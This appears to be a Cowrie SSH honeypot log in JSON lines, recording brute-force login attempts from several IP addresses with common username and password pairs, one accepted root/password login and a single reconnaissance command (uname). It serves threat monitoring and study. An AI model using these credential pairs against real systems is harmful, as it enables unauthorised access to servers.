{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":29407,"dst_ip":"159.203.135.109","dst_port":22,"session":"867003c773bb","protocol":"ssh","message":"New connection: 193.46.255.86:29407 (159.203.135.109:22) [session: 867003c773bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:48:38.326784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:48:38.332861Z","src_ip":"193.46.255.86","session":"867003c773bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:48:38.467364Z","src_ip":"193.46.255.86","session":"867003c773bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pritchard","password":"123456","message":"login attempt [pritchard/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:48:39.067514Z","src_ip":"193.46.255.86","session":"867003c773bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pritchard","password":"abc123","message":"login attempt [pritchard/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:48:40.202987Z","src_ip":"193.46.255.86","session":"867003c773bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pritchard","password":"abcd123","message":"login attempt [pritchard/abcd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:48:41.339342Z","src_ip":"193.46.255.86","session":"867003c773bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pritchard","password":"abcd1234","message":"login attempt [pritchard/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:48:42.474358Z","src_ip":"193.46.255.86","session":"867003c773bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pritchard","password":"abc1234","message":"login attempt [pritchard/abc1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:48:43.611185Z","src_ip":"193.46.255.86","session":"867003c773bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:48:44.746809Z","src_ip":"193.46.255.86","session":"867003c773bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":49758,"dst_ip":"159.203.135.109","dst_port":22,"session":"370de77791bb","protocol":"ssh","message":"New connection: 195.178.110.218:49758 (159.203.135.109:22) [session: 370de77791bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:48:51.861957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:48:51.866726Z","src_ip":"195.178.110.218","session":"370de77791bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:48:51.946975Z","src_ip":"195.178.110.218","session":"370de77791bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:48:52.186639Z","src_ip":"195.178.110.218","session":"370de77791bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:48:53.269772Z","src_ip":"195.178.110.218","session":"370de77791bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":42478,"dst_ip":"10.17.0.5","dst_port":22,"session":"8fcb26b07483","protocol":"ssh","message":"New connection: 2.57.122.208:42478 (10.17.0.5:22) [session: 8fcb26b07483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:49:01.421584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:49:01.491396Z","src_ip":"2.57.122.208","session":"8fcb26b07483","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:49:01.576313Z","src_ip":"2.57.122.208","session":"8fcb26b07483","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:49:02.160383Z","src_ip":"2.57.122.208","session":"8fcb26b07483","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:49:03.263401Z","src_ip":"2.57.122.208","session":"8fcb26b07483","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":61313,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ca41bdfa60d","protocol":"ssh","message":"New connection: 2.57.121.112:61313 (10.17.0.5:22) [session: 5ca41bdfa60d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:50:17.819165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:50:17.831332Z","src_ip":"2.57.121.112","session":"5ca41bdfa60d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:50:17.942508Z","src_ip":"2.57.121.112","session":"5ca41bdfa60d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"040488","message":"login attempt [admin/040488] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:50:18.417406Z","src_ip":"2.57.121.112","session":"5ca41bdfa60d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"040476","message":"login attempt [admin/040476] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:50:19.521084Z","src_ip":"2.57.121.112","session":"5ca41bdfa60d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"04041996","message":"login attempt [admin/04041996] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:50:20.624872Z","src_ip":"2.57.121.112","session":"5ca41bdfa60d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"04041976","message":"login attempt [admin/04041976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:50:21.728658Z","src_ip":"2.57.121.112","session":"5ca41bdfa60d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"04031998","message":"login attempt [admin/04031998] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:50:22.836781Z","src_ip":"2.57.121.112","session":"5ca41bdfa60d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:50:23.941095Z","src_ip":"2.57.121.112","session":"5ca41bdfa60d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":41828,"dst_ip":"10.17.0.5","dst_port":22,"session":"e76bf6b370b1","protocol":"ssh","message":"New connection: 92.118.39.92:41828 (10.17.0.5:22) [session: e76bf6b370b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:50:45.034288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:50:45.038750Z","src_ip":"92.118.39.92","session":"e76bf6b370b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:50:45.135124Z","src_ip":"92.118.39.92","session":"e76bf6b370b1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"password","message":"login attempt [root/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:50:45.429813Z","src_ip":"92.118.39.92","session":"e76bf6b370b1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:50:45.659304Z","src_ip":"92.118.39.92","session":"e76bf6b370b1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:50:45.662595Z","src_ip":"92.118.39.92","session":"e76bf6b370b1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:50:45.764471Z","src_ip":"92.118.39.92","session":"e76bf6b370b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:50:45.768968Z","src_ip":"92.118.39.92","session":"e76bf6b370b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":51296,"dst_ip":"10.17.0.5","dst_port":22,"session":"6dbe2abbfd5b","protocol":"ssh","message":"New connection: 2.57.122.208:51296 (10.17.0.5:22) [session: 6dbe2abbfd5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:51:19.609195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:51:19.626878Z","src_ip":"2.57.122.208","session":"6dbe2abbfd5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:51:19.721654Z","src_ip":"2.57.122.208","session":"6dbe2abbfd5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4$RFV","message":"login attempt [ubuntu/4$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:51:20.131243Z","src_ip":"2.57.122.208","session":"6dbe2abbfd5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:51:21.244079Z","src_ip":"2.57.122.208","session":"6dbe2abbfd5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":56902,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ba2f0b93670","protocol":"ssh","message":"New connection: 195.178.110.218:56902 (159.203.135.109:22) [session: 5ba2f0b93670]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:51:33.098254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:51:33.103141Z","src_ip":"195.178.110.218","session":"5ba2f0b93670","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:51:33.180716Z","src_ip":"195.178.110.218","session":"5ba2f0b93670","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:51:33.407411Z","src_ip":"195.178.110.218","session":"5ba2f0b93670","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:51:34.485831Z","src_ip":"195.178.110.218","session":"5ba2f0b93670","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":58476,"dst_ip":"10.17.0.5","dst_port":22,"session":"592089452ffd","protocol":"ssh","message":"New connection: 92.118.39.92:58476 (10.17.0.5:22) [session: 592089452ffd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:53:05.134738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:53:05.139146Z","src_ip":"92.118.39.92","session":"592089452ffd","protocol":"ssh"}
